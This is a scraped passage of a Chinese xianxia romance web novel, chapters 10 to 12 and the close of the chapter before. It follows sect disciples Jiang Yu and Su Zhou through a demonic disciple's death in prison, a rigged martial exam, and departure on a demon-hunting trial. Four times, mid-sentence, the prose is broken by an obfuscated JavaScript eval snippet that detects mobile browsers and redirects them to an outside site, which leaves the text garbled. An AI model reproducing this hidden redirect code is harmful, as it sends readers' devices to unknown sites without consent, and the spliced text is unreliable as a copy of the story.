两人也很有默契,一个贴东边,一个贴西边,贴完一层就继续往上。书阁一共有七层,连续两层在楼梯口撞见宿舟后,贴到三楼,姜鱼故意放慢了速度,没想到在楼梯口,两人还是撞了个正着。 “宿舟,你故意的!” “?” “你故意等我。” “我等你干什么?” “谁知你在打什么主意,肯定没好事。” 宿舟抬眸看她,“病好了又能折腾了?” 姜鱼抱着手臂打量他,半天不说话,忽然开口,“我知道了!你故意找存在感,想害我又受罚。”姜鱼道,“上次是,这次也一样,碰上你,我已经倒霉两次了。” 宿舟:…… “随你怎么想。” 抛下这句话,他自顾自上楼去了。 接下来几层,姜鱼都没再撞见宿舟,倒是在七楼贴符的时候,她看到困过她的那间杂物间已经被彻底封死了。 这两天她一直在想洛雨的事,越想越觉得整件事充满了疑点。 贴完符出来,在楼梯口她又一次撞见了宿舟。 这次对方只当没看见她,刚想下楼,她道:“问你件事。” 宿舟回头。 “抄书那天,在书阁外,你确实察觉到了魔气对吧?” 他微微颔首。 “这就不对了。”姜鱼道,“这两天我查了不少关于入魔者的资料,上面说,魔化是一个过程,在魔种潜伏期,不会显露魔气,只有当魔纹显露之后,才算是真正入魔。” 宿舟皱起眉。 “问题是,洛雨是在绑架我那天,身上才出现魔纹的,之前见过她的人不少,那时她并无异常。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505126|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你的意思是——” “那天在书阁之外,是否另有其人?” “你被跟踪那天,我确实只看见了她。” “假如对方修为在你之上呢?”姜鱼问。 宿舟陷入沉默。 真有这种可能,那说明宗内还有一个比洛雨潜伏更深的魔,此人也盯上了姜鱼! 他不禁盯着姜鱼看了一会儿,试图发现她身上到底有什么东西,这样吸引魔物。 楼道边的烛台灯火明亮,暖光映在她脸上,显得肌肤细腻如温玉,睫毛卷翘,眼睛亮而有神,耳垂下方有一颗小痣。看不出什么与魔的关联,倒是看得他有些失神。 “你看什么?” 顺着他的视线,姜鱼下意识摸了摸耳环,发现耳环好好的,不禁纳闷。 宿舟:…… 姜鱼也顾不上猜他的想法,“得赶紧把此事告诉夫子。” 这次她没打算隐瞒,事情也许比她想的更加复杂。 下到一楼,夫子还在清查洛雨学过的禁咒,以防她在什么地方留了后手,听姜鱼这么一说,他的脸上皱纹都更深了几分。 “唉,我知道了。”夫子道,“此事我会和几位长老商量,你自己也要多加注意,小心行事。” 姜鱼点点头。 走时她回头看了一眼,总觉得周夫子这几天人都苍老了好几岁。 出了书阁,天边闪着几颗星子,阵阵秋风送凉。 她裹紧了身上的披帛,听到有人小声喊她:“姜、姜师姐。” 顺声看去,有个小弟子站在阶下,眼巴巴看着她,“听说师姐有一套符术精讲全书,比书阁的更全,能、能借给我看看吗?” “可以啊。”她爽快答应。 “太好了,谢谢师姐!” “我还有一套笔记,你要吗?” “要!” 没想到姜鱼这么好说话,弟子喜出望外,连连鞠躬,“谢谢师姐!我一定好好爱惜,尽快归还!” 得到姜鱼的许诺,弟子欣喜的走了。 宿舟冷眼看着这一幕,不禁问:“为何借给她?” 姜鱼:“你怎么还在?” 宿舟:…… 他本该走的,但是姜鱼最近一些言行,让他觉得不太对劲,一时出于好奇,才留下来看看。 “为什么不能借给她?”姜鱼转身面对他,“反正我又用不上了。” “不怕又是陷阱?” “如果每个人都要防备,我的日子还过不过了?路上随便碰到一个人都有问题,这里是剑宗还是魔窟?再说,这次我帮了她,她会记我的好,何乐不为?” “收买人心。” 姜鱼听了不爽,走到他面前,伸手戳了戳他心口,“你不会是羡慕了吧?你开个价,我也可以收买你啊。” 她眼眸明亮,眼尾上挑,像只骄傲挑衅的小狐狸。 宿舟只觉被她轻戳的地方一阵酥麻,低头看着她粉白指尖,抿了抿唇,移开视线,“你想多了,我不吃这套。” 10.第 10 章 贴完了符,姜鱼回到青云阁继续上课,洛雨事件仿佛只是一个小小插曲,并没有影响到剑宗平静的日常。 调查另一个入魔者的责任,由几位长老接手,对于姜鱼而言,天骄之争才是她当下最重要的事。 讲习堂上,李休音也详细讲解,“修士入魔,最初因执着贪婪,产生魔念;魔念在脑海中盘旋不去,丹田内就会生出魔种;魔种逐渐发展壮大,到了某个时刻,魔种催发,出现魔纹和魔瞳,此时魔化已经不可阻止,躯体会逐渐魔化,直到彻底变成魔。” “所以,只要不可贪求执着,魔念不起,就不会成魔。” 五人之中,只有于照和林风参与过宗门发布的除魔任务,天剑宗附近常有妖物作祟,魔却不常见,就连接触魔气,也是封存在特制器皿里,专门给弟子感知用的。 魔气不难分辨,阴湿、粘稠,像雨里泡烂发霉的苔藓,那种感觉,只要体会过一次,就不会错认。 相比之下,入魔者更难分辨。 李休音道:“在魔种阶段,确实难以分辨,但仔细观察其言行,入魔者会比平时更加偏执极端。” 说完,李休音将话题拉回正轨,接着讲起了修炼之道。 同一时间,剑宗地牢内。 作为几十年难得一见的入魔者,洛雨被重点照顾,不仅修为被封,还被锁灵链锁住了四肢,连日的审问,她身上都是刑囚痕迹,趴在地上奄奄一息。 送饭的看守走到牢狱前,还没靠近,先叹了口气。 每次到这牢房都觉得瘆得慌,因为牢房的墙面和地上,都被她用血写满了“姜鱼”两个字,也不知是有多大仇。 只能说入魔者的想法不能用常理推测,他摇头,敲了敲栏杆,“里面的,放饭了。” 里面人躺着一动不动。 看守觉得有些奇怪,往常几日,这家伙只要还有一口气在,都会爬起来问姜鱼的消息,今日怎么不动了? 他又喊了几声,察觉不对后打开牢门,看到对方唇角淌下一道黑血,再一探,气息已然断绝。 “不好了,犯人死了!” 看守匆忙出去报信,没看到从死去的洛雨身上,一团黑雾状物体飞出,穿过墙体,很快不见了踪迹。 …… “宿哥,你猜我听到了什么消息?” 回第五峰的路上,宿舟遇到了特意来找他的师弟,这师弟名叫钱拾,他娘给他取这个名字,是希望他走在路上都能捡到钱。他和宿舟从小相识,是同一个村的,也是为数不多跟他说得上话的几人之一。 “那个洛雨,死了!” 宿舟脚步一顿。 “怎么死的?” “不知道。”钱拾挠了挠头,“外面都这么说,不过她都入魔了,原本也活不了多久了吧。” 宿舟神色复杂。 “说起这事,我就来气。”钱拾又道,“听峰主说,抓到这个入魔者,本来有你一份功劳,可外面都传,说人是被姜鱼找出来的,她倒是把功劳全揽了,连提都没提你一句!” 宿舟道:“我不在意这个。” 钱拾叹气:“可这都多少次了,她分明就是在故意针对你!每次都用这种手段,那年你斩蛟归来,本来应该大出风头,可全宗上下都在给姜鱼庆祝生辰,都没几个人提起此事……还有那次,四峰那位师叔原本对你有好感,有心提点你两句,没过两天就变了脸,不肯再见你,就因为姜鱼去找过他!” 他越说越是生气,“远的不说,就说最近,天骄榜揭榜那天,她还花钱找人骂你。宗门上下,人人都说她慷慨大方,实则是她收买人心的手段,碰上这种人,宿哥,你真是太吃亏了。” 宿舟陷入沉默。 他确实一向这么认为,在正常的竞争关系之外,姜鱼的这种手段,是他最不能接受的。 说话间,两人路过书阁,不远处的桂树丛中,隐隐传来人声。 “洛雨的事,实在出乎意料,真对不起,没能提早察觉她不对劲,险些害了你……” “不能怪你。” 是姜鱼的声音。 宿舟脚步一停,钱拾也听出来了,他赶紧拉着他宿哥藏在一块石头后,偷听他们说了些什么。 宿舟平日最不关心的,就是别人的八卦秘辛,多听一句都会觉得有损剑心,可是事关姜鱼……他有些在意。 “我以前只觉得她崇拜你,哪知道她是心怀鬼胎。”说话的是王之,“现在想起来,确实有些不对劲,每次你来书阁,看过的书她都要再看一遍,你说过的话,她一字不漏都能复述,原来她是想……” 是想彻彻底底的变成“姜鱼”这个人。 这想法让人不寒而栗,当着姜鱼的面,他都说不出口。 “幸好你自己发现了,不然不敢想后果。” “不是我。” “啊?” “是宿舟。” 王之愣了一下,“还有这回事?” 姜鱼将事情简单说了一遍,无奈道,“要不说传言不可信呢,也不知谁想当然的编造了几句,就被传开了。” 山石后方,听到这话的宿舟眸色微凝。 这是她的真心话? 还是…… 那边姜鱼已经换了话题,“最近你娘还好吗?” “吃了药以后好多了。”王之感激道,“小鱼,我都不知道该怎么感谢你,为了我娘的病,你帮着找了那么多大夫……” 他娘生了怪病之后,找了很多大夫都治不好,后来姜鱼帮着奔走找人,他一度都要绝望放弃了,姜鱼还鼓励他,说一定能找到。 后来她帮着介绍了一个游方大夫,开了一贴药方后,娘竟然渐渐有了起色,姜鱼对于他,比朋友更重要,是人生支柱般的存在。 “又来了。”姜鱼道,“打算每天谢我一遍?” 王之有些不好意思。 “你想谢我,等下次我不小心惹到了夫子,记得跳出来说你干的。” “啊?好。” “开个玩笑,你还真信?” 两人边聊边走远了,山石后方,宿舟的神色更复杂几分。 过了一天,洛雨的死讯传开,讲习堂下课之后,李休音特地找到姜鱼询问情况。 这天姜鱼没有急着回去,而是留下练剑。 看她将白螺剑法练了数遍,李休音走下演武场,“看来这次你是真的决心苦练剑术了?” “师姐?” 李休音上前,帮她擦了擦额头的汗,“累着了?” “可不是嘛。”姜鱼立刻靠着她,“师姐,我腿都酸了。” “一身汗,就往我身上靠。” 话是这么说,却也没推开她。 姜鱼笑嘻嘻腻在她身上,“师姐找我有什么事?” 李休音道:“听说洛雨在狱中自尽,怕你受影响,所以来看看你。” “影响倒还好,只是觉得不对劲。” “入魔之人,心性已经改变,在达成欲望和被欲望毁灭之间,没有第三条路走,突然自尽,确实让人不能理解。” “不过,洛雨毕竟是个例,既然有长老们介入,相信不久就会彻底查清,你还是安心准备天骄试炼吧,不要有负担。” 她抬起头问,“那你呢,师姐,你心里还有负担吗?” 李休音一怔,半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517691|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晌叹气,“还是老样子。” 作为为数不多知道师姐秘密的人,姜鱼知道,这些年师姐心里有一个“可望而不可即”的人,她不知那人是谁,只知道师姐一直放不下他。 她摸了摸姜鱼的头,“不必为师姐担心,这么多年,早已习惯了。” 在李休音心中,姜鱼是可以分享秘密的人,她年纪小却知分寸,一直替她保守秘密,不会多问她什么。 成为首席以来,围着她身边讨好的人很多,都带着目的性,姜鱼跟他们不一样,她爱帮人,不计回报,跟人交往时,她会先将真心掏出来,喜欢她的人,都是被她的真诚打动。所以她一直不理解,为什么宿舟会跟姜鱼关系差到这种地步。 “天也晚了,赶紧回去吧。” “师姐,明天见。” 两人走后,演武场外隐秘角落,一道人影悄然消失。 翌日还是李休音上课,今日所讲的内容,是“道之无私”,讲到一半,林风忽然站起来,“师姐说大道无私,但如果讲道授课之人徇私,又该如何呢?” 李休音微皱眉:“你想说什么?” 林风:“昨天课后,我亲眼看到师姐把姜鱼叫到一边,给她开小灶,试问候选之争,还有公平可言吗?叫我们来只是走走过场,既然已经内定了姜鱼,我们还在这浪费什么时间?” 他突然发难,把其他人都说蒙了。 李休音听完,冷静发问:“天骄人选内定姜鱼?你的意思是,我能操纵天骄榜?” 林风:“师姐明明听懂了我要说什么,只要你向她透题,让她‘表现优秀’,就能给她高分,这难道不是不公平吗?” “透题?”李休音无语发笑,“昨日我确实找了姜鱼,是为了洛雨之事,担心她因此影响心态。” “师姐当然可以这么说,实际说了什么,只有你们知道。” “是吗?”姜鱼站起身,“看来你对我意见很大。” “师妹误会了,我只是合理怀疑。”林风笑道。 姜鱼挑了挑眉,“李师姐说过,这次授课的内容,是从一百册道籍中筛选的,至于选了哪些书,师姐也公布过,这没错吧?” 林风看着她,不知她要说什么。 “不如这样,就从这百册书中随便抽查,如果我都能答上来,那透不透题对我有什么影响?” 林风微怔,“师妹在开玩笑?” 这么短时间,谁能背完一百册书的内容! “你看我像在开玩笑?如果我都能答上来,我要你当众道歉,如果其中有一道我答不上来,我当场退出天骄之争——” 众人震惊。 这也赌得太大了! “林风,你敢一试吗?” “师妹都这么说了,我有什么不敢?”林风道,“但出题人不能是李师姐。” “也不能是你。”姜鱼立刻说,“在场这几人,随便你选。” 林风目光逡巡,他知道于照和姜鱼关系不错,肯定不能选,芸晚看不出立场,他的目光落在宿舟身上—— “宿师弟,可否请你出题?” 宿舟默默看了一眼姜鱼,姜鱼表情轻松,还挑衅地冲他使眼色,似乎在催促他答应。 他眸色微冷,道:“我没那么闲。” 林风视线微眯,他竟然放过为难姜鱼的好机会,他到底在想什么?! 不得已,他只好找了芸晚。 芸晚也知道,似乎是非她莫属了,悄声问宿舟:“宿师弟为何不答应?” 宿舟淡然回答,“没兴趣看人自取其辱。” 芸晚一愣。 他说的是谁,林风还是姜鱼? 11.第 11 章 既然双方都同意了,于照跑了趟书阁,把这一百册书都借了过来,这么大的阵势,引得周夫子也过来看。 芸晚随手抽出一本书,提问:“问:符术为何属水?” 姜鱼道:“符文为字,字有所象,神气存之,水为气之津,故属水。”* 芸晚:“修者如何求道之真?” 姜鱼:“长生久视,潜气不动,意如流水,行之不休。”* …… 芸晚一连提了十几个问题,姜鱼都对答如流,林风听着听着,脸上的汗越来越重,他这才知道姜鱼的底气在哪,她是真的全都会! 问了二十题后,芸晚摊了摊手:“还用继续吗?” 林风:…… 周夫子叹气道:“她爹从三岁起就让她背这些了,你说你干点啥不好,偏偏跟她比这个?” 于照道:“是林风怀疑,李师姐提前给小鱼透题。” “透题?她用得着吗?”夫子哼了一声:“想赢下天骄之争,与其成天盯着别人,不如好好提升自己的实力。” “是我错了。”林风低头认错,“我为我的盲目判断道歉。” 当着众人的面,他说低头就低头,不见半点勉强,也似乎没觉得有什么屈辱难受。 姜鱼看了他一眼,只觉此人不简单。 芸晚放下书,回到座位,悄声问:“你早就知道姜鱼这么厉害?” 宿舟没说话,以前两人闹得厉害的时候,在书阁也能吵起来,结果自然是被夫子逮着骂,那时他就发现,夫子不管怎么提问,她都能答上来,哪怕答不上的,还能找角度诡辩,每次都能把夫子气得够呛,然后连着他一起骂…… 因为倒过霉,印象当然深刻。 每次遇到姜鱼都要被牵连,见面时自然没有好脸色。 林风道了歉,夫子又说了几句,事情就此了结。接下来一段时间,林风也没再找事,似乎已经对姜鱼心服口服,青云阁中的一个月时间眼看就要过去,道经的评分只看平时抽查的结果,而武训是要实战考核的。 临近考试之日,候选几人都泡在演武场练武,这段时间姜鱼练剑勤快到隋鹭都有些不信了,连于照都问她是不是要转成剑修了,宿舟对此也有些意外,几次遇到她练剑晚归,都忍不住多看她几眼。 只有姜鱼自己知道,练剑可比练其他的累太多了,中途几次想放弃,想想宿舟和爹的话,又觉得不甘心,恨意转化为动力,咬牙坚持下去。 武训考试的前两天,姜鱼躺在床上翻看剑谱注释,手边的符纸忽然亮了。 她一骨碌爬起来,盯着符纸看。 上次和师姐说话被林风撞见,她就在想办法反制,之后她悄悄在讲习堂和演武场几处贴上了“听音符”,只要有人说话,符纸就会亮起,有效时间刚好一个月,过后符纸自动消失。 她这招是专为防备林风用的,没想到今日会听见一道意外的声音。 “你来迟了。” 这是屠石的声音。 他深更半夜不睡,在约见什么人? 姜鱼有些疑惑,当另一道声音响起:“不知师兄因何要见我。” 宿舟?! 他为什么和屠石私下见面? 姜鱼彻底没了睡意,盘膝坐起,背都挺直了,聚精会神听两人对话。 屠石道:“第一次见面,我确实有几分刻意为难的意思,这也是我对你的考验,你的实力,我很认可。” 宿舟没说话,他接着说,“天骄之争,向来激烈,如今你们争的是名额,等当上天骄之后,要争的就是席位。” “你想当首席?” “……”屠石似乎被噎了一下,“师弟说话真是直白。” “这似乎与我无关。” “宗内皆知,你和姜鱼不对付,而姜鱼和李休音交好,如果她坐上第六的席位,必然支持李休音,这对我不利。” 屠石索性把话说明白,“所以,我有意帮你一把,让你赢过她。我的要求也很简单,只要你当上天骄后,选择站在我这边。” 宿舟沉默一瞬,道:“怎么帮?” “武训考试当日,我会在场地上留下暗记,只要你将她引到那处,她气息被扰乱,自然落败于你。此举神不知鬼不觉,不会被任何人发现,连她自己,也只会觉得自己一时运岔了气,不会怀疑你。” 在屠石看来,宿舟没有理由拒绝,他想赢过姜鱼,这是最保险的办法,而且他孤身一人,与其他天骄都无来往,自己这个靠山,他也没理由不靠。 “师弟觉得如何?” “我会考虑。” “考虑?”屠石的声音由意外转为阴沉,“只有两天时间了,师弟可要尽快考虑清楚,我等你的答复。” 面前符纸微光熄灭,再无声响传来,两人应该都离开了,姜鱼有些惊讶,宿舟竟然没有当场答应。 屠石提出的计划简直万无一失,她如果不是无意间偷听到,必然中招……打败她的机会就在眼前,他却说还要考虑?难道他其实想拒绝,只是不想当面得罪屠石才这么说? 不可能。 他怎么可能不想赢自己呢? 姜鱼躺回床上,睁着眼睛看着房顶,心思转过一圈,不管宿舟怎么想,屠石故意针对她,她必须想办法反击。 如果她揭发屠石,他为求自保,说不定会把事情推到宿舟身上,说是宿舟求他这么办的,反正也没人知道他们私下说过什么。 但是…… 难道要她放过屠石? 如果宿舟因此受到牵连,她甚至能不战而胜,这对她而言,同样是机会。 她不能放过。 她不能输给宿舟。 这样想着,姜鱼迷迷糊糊睡着了,这一觉睡得不怎么好,翌日一早,她在青云阁外的一条小道遇到了宿舟。 他神色淡漠如常,看不出什么端倪。 姜鱼也没想理他,忽而脑中叮咚一声响。 【得知屠石的计划后,你和宿舟相遇,你决定——A和他合作揭发屠石/B问他如何选择】 姜鱼:? 系统怎么这个时候来凑热闹! 和宿舟合作,下辈子也不可能,她已经决定好了,要将这两人一锅端了,还问什么问? 湛蓝的电子屏浮在眼前,选项有些碍眼。 这系统简直是存心跟她作对。 可是,她已经测试过不选,后果就是整整病了三天,这次的选项可比上次影响大多了,如果不选,她会倒多大霉? 姜鱼一点都不想赌自己的运气,她选下了B,上前挡住了宿舟的去路。 宿舟停下脚步,有些意外看着她。 姜鱼抬手布下了一道结界,将两人笼罩其中,开口问,“昨晚屠石找你了?” 问完他竟点头,直接承认了。 姜鱼打量他:“你好像一点都不意外。” “林风算计过你,你怎么会不防备他?” “别说的你好像很了解我一样。” “我确实不够了解你。”宿舟一双深寒的墨眸盯着她,不错漏她脸上表情变化,“要我推测,你应该直接去揭发我和屠石,而不是向我摊牌。” 被他猜中了,姜鱼下意识微微偏头。 宿舟的视线落在她洁白耳垂和漂亮的颈线上,结界隔绝了冷风,温度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528079|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似比外面上升不少。 她回过头,明眸清亮如水,语气笃定,“用不着这些手段,我也能赢你。” 被她这样看着,宿舟觉得,结界内似乎更热了。 “姜鱼,你让我很意外。” “这是事实。”她强调,“所以,你的选择呢?” “从没想过答应他。” “当真?”她有些惊讶,“拒绝屠师兄,不怕他报复你?” “剑宗不是他说了算,他报复我,也要考虑后果。” “说大话,那你就等着倒霉吧!” 得到答案,姜鱼撤去结界,离开了小径,宿舟注视她的背影,看到枝头的一片花瓣轻飘飘落在了她发间。 屠石没想到会等来宿舟的拒绝,暗骂他不识时务。不过他笃定宿舟不会将此事说出去,又不知道姜鱼已经知情,还是按原计划在场地里动了手脚,只要压低姜鱼的分数,他还可以再选其他人。 考试那日,戒律堂执戒长老到场,当场揭穿他所做的布置,他才知事情败露,震惊之下想推到宿舟身上,没想到揭发他的人就是宿舟和姜鱼! “你们两——” “够了。”执戒长老严厉道,“屠石,身为天骄弟子,你的作为实在让人失望,随我回戒律堂受罚吧!” 屠石脸色灰败,跟着长老走了。 他这一走,考试就进行不下去了,宗内商议一番,决定改变考试方式,派了第一峰峰主前来作为考官,五人轮流和他过招,在他手下坚持时间最长者得分最高。 第一峰今年没有弟子入选,峰主立场公正,一视同仁,比试下来,果不其然,姜鱼和宿舟拿到了甲等,于照、林风、芸晚按次序随后。 武训结束后,青云阁的培训内容也全部结束,姜鱼、宿舟两人以道经、武训双甲的成绩并列第一,于照紧随其后,排在第二位。第三是道经得甲、武训得乙的芸晚,林风以双乙的成绩位列最后。 没能分出胜负叫人遗憾,不过姜鱼心知,接下来的天骄榜试炼才是重点,想拉开和宿舟的差距,必须在试炼中好好表现。 武训后一日,天骄榜上出现了本次试炼任务—— 【任务:除魔行动】 【地点:仙子城玉梅郡小溪村】 候选们整备三天后,动身前往仙子城,出发这一日,六位峰主、五位天骄相送,众弟子簇拥围观,排场热闹非凡。 这十年一遇的景象,连外门弟子也能参与其中,对于他们而言,平时只是耳闻天骄的名声事迹,都没机会见到真人,因而格外期待。 “来了吗?” “来了,来了!!” 随着人群一阵轰动呼声,五位天骄走在前面,呼喊的声浪一阵接过一阵,直到候补们出现时,声浪小了下去。 望着前方几位天骄的背影,于照感慨:“天骄果然还是不一样。” 芸晚:“是啊,师兄师姐们真受欢迎。” 于照又说:“不过,小鱼和宿舟在外门弟子中也很有人气。” 刚说完,人群再次起了山呼海啸般的呼声。 “快看,是姜鱼!” “我看到宿舟了!” “啊啊啊啊啊!!” 有人激动到喊破了音,前方天骄回过头,疑惑道:“他们两这么受欢迎?” 李休音:“师弟落伍了,他们可是现在年轻弟子的偶像。” “姜鱼加油啊啊啊!” “宿舟好帅啊!” 人山人海,呼声鼎沸,姜鱼看向宿舟,眉梢轻挑,“这次试炼,绝不会再是平局收尾。” 浓烈日光下,宿舟声线清冽如雪,“拭目以待。” 12.第 12 章 从天剑宗到仙子城,路途迢迢,姜鱼等人乘坐剑宗的马车出行,整驾马车就是一件法器,以灵石为能源驱动,速度快而平稳,预计四五日后就能到达。 马车内宽敞舒适,容纳五个人绰绰有余,姜鱼和芸晚坐在一边,对面坐着于照和林风,出发后,几人讨论起这次除魔行动来。 试炼之中,他们虽然是竞争关系,但又需要彼此配合,马车中悬浮着一颗机关球,这东西会全程跟着他们,记录他们的行动,成为日后天骄榜评分的依据。 身后多了一个摄像头,姜鱼多少是有点不爽的,但想想比起事后扯皮,互相争功,有个记录确实更加公平。 “天骄试炼竟然这么远,我还以为会在宗门附近。”芸晚揉了揉肩膀,一想到要坐五天马车,她已经开始腰酸背痛了,符修的身体素质可比不上这些练剑的。 “小溪村听起来只是个小地方,真值得我们特地跑一趟吗?”林风也说,自从上次道歉过后,事情翻篇,他仿佛又重新融入了团队。 见几人一脸轻松,于照脸色严肃起来,“天骄试炼,肯定不会简单,前几次试炼,甚至有人因大意丢掉了性命,绝不能掉以轻心。” 几人之中,他资历最深,性格沉稳,像大哥一样关照着所有人。 两人都点头,表示肯定重视。 “师兄,反正现在无事可做,你跟我们说说以往试炼的事呗。”姜鱼一脸兴味,提议道。 于照知道她最爱听这些,八卦野史、市井故事,越是离奇曲折越好,而他确实知道一些上几届的故事…… 开口之前,他看向门口的宿舟:“宿师弟不过来坐吗?” 上了马车之后,他独自坐在车外,风灌开车帘,能看到他独坐的背影,脊背挺得很直,剑取下来放在旁边,挂在门帘外的铜铃一声声,回荡孤冷的回音。 姜鱼循声看去,正好看到他微微偏头,下颌轮廓线条流畅清晰,喉结微微凸起,很吸引视线,但这人的好看程度和性格成反比,姜鱼一度怀疑他是不是对人群过敏,只能一个人待着。 她道:“别管他,师兄你快说。” 于照:“好吧。” 话音落,外面传来一阵轻微响动,门帘被从外掀开,宿舟进来了,带着一身冷峭的秋风,他看了一眼姜鱼,走到另一侧坐下。 林风和于照自然往里挪了挪,给他让位置,于是他刚好坐在了姜鱼的正对面。 他一进来,马车里松弛的气氛好像莫名紧绷了几分,其他人下意识都看他和姜鱼。 姜鱼:“你进来干嘛,外面的风景不好看?” 宿舟:“听故事。” 姜鱼:…… 你喜欢听故事就见鬼了! 但他都这么说了,姜鱼被噎得没话说,于照看了看情况,见两人没吵起来,总算安心开始讲起了旧事:“那是三十年前……” 于师兄的声线温润,好听但催眠,加上他讲故事的水平有限,明明是惊险刺激的部分,也能被他讲得毫无起伏,姜鱼强打起精神听了半天,也不由开始走神了。 她想起这趟出门前,爹娘一番交代,师尊也特意叮嘱她,不要掉以轻心、不能过度沾染魔气,小心滋生魔念,还有就是——不能相信其他候选。 她知道这个道理,不止是宿舟,其他三人和她也是竞争关系,虽然他们没表现出对当上天骄的强烈渴望,有机会谁不想争取呢? 之前洛雨的事件结束得突然,长老们在宗内排查了一圈,也没找到另一个入魔者,最后只能得出结论:当时他们察觉到的应该就是洛雨的魔气,她的魔种可能早已催发。 姜鱼对这事半信半疑,始终无法放下疑虑,她的视线在其他三人中游移,这件事,会不会跟他们有关系? 虽然这样想过,但她并不是心思深重的人,除了防备林风,她不会因此就疏远于师兄和芸晚。 她在思索的时候,芸晚同样也在走神,于师兄讲得太无趣,她的注意力不自觉被其他东西吸引,车厢内就属姜鱼和宿舟存在感最强,明明只是坐着,也十分吸引目光。 她想起宿舟刚加入五峰那年,自己就见过他一次。 那时他还是个普通内门弟子,芸晚撞见他时,他独自在五峰的林子里,投喂一只受伤的狐狸。广袖窄腰的弟子服穿在他身上,衬得他身形瘦削如竹,狐狸吃完了他手里的肉,小心翼翼舔了舔他修长的手指。 那一刻,她看到了少年眼里的温柔。 芸晚怕打扰到他,看了一眼就默默走开了,但那一幕一直印在她心里,哪怕后来大家都说宿师弟为人冷漠,芸晚也不这么觉得。 她无意撞见了宿舟不为人知的一面,觉得他有些孤独,也许只有他身边亲近之人,才能真正了解他。 这会儿于师兄已经讲完了往事,芸晚担心冷场,跟最会聊的姜鱼找话题,“姜师妹,你剑上的饰品真好看。” 姜鱼晃了晃剑鞘,海螺和亮片发出叮叮当当的声响。 宿舟抬眸,看了一眼。 姜鱼:“看什么,你有意见?” 宿舟:“吵。” 姜鱼把剑凑到他耳边,又晃了晃:“吵吗?” 在他发作之前,她又一秒把剑收回,装作无事发生。 宿舟:…… “姜鱼,你会不会尊重人?” “你好意思说?”姜鱼气道:“起码我不会随便评价别人,没你那么爱指点江山!” “我也不会明明约战,却让人一等就是半个时辰。” “那次是意外!” 宿舟抬眸问,“你说的意外,就是十次里会发生五次?” 姜鱼:“你这是污蔑!” 于照心想,又来了……这两人之间有种独属的气氛,争执起来别人插不进一句嘴,吵得旁若无人。 正在脑海中搜罗劝架的话,没想到宿舟竟然偃旗息鼓了,他道:“过去的事别提了。” 于照:? 怎么不吵了? 他摸不着头脑,芸晚见状,赶紧转移话题,和姜鱼聊起了符术,说起都感兴趣的话题,两人渐渐投机,聊得火热起来。 对面两人偶尔接一两句,马车里气氛渐渐趋于和谐,宿舟闭目修炼,却时不时就会看姜鱼一眼,她和芸晚聊得投入,丝毫没有察觉。 四天后的傍晚,马车停在了玉梅郡内。 黄昏时分,日光收歇,城镇蒙在一层昏黄光晕里,姜鱼和芸晚下了马车,于照已经打听情况回来了,“明日恐怕去不了小溪村了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543160|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “出什么事了?” “城中百姓说,前几日,村子外忽然起了一阵黑雾,村中不见人出来,外人也找不到进村的路,他们说,村子被黑雾给吞了!” 几人纷纷露出惊愕神色。 “是魔气?” “还不确定具体情况。”于照眉头深锁,果然天骄榜的任务不是这么好做的,他们来了第一桩困难,竟然是根本进不去村子。 “我在附近逛了逛,许多人都在讨论此事,说什么事情蹊跷,怕不是坏了风水,此地百姓真没见识。” “棘手……”于照道:“天色已晚,先在城里的客栈安歇吧,明日再去查探情况。” 大家都没意见,坐了四天马车,几人面有疲色,腰酸背痛,很想好好躺下睡一觉。 天幕完全黑下来时,他们住进了城中一家气派客栈,定了五间上房,大宗门的核心弟子不差钱,玉梅郡地处偏僻,加上附近的村子出了事,城中客栈也不拥挤。 进门时掌柜不由看了好几眼,看他们通身气派,就知不是一般人,一问知道是大宗来的仙长,态度更加客气。 “几位有什么需要,尽管吩咐,在下一定尽心去办。” “掌柜客气了。”于照温和道。 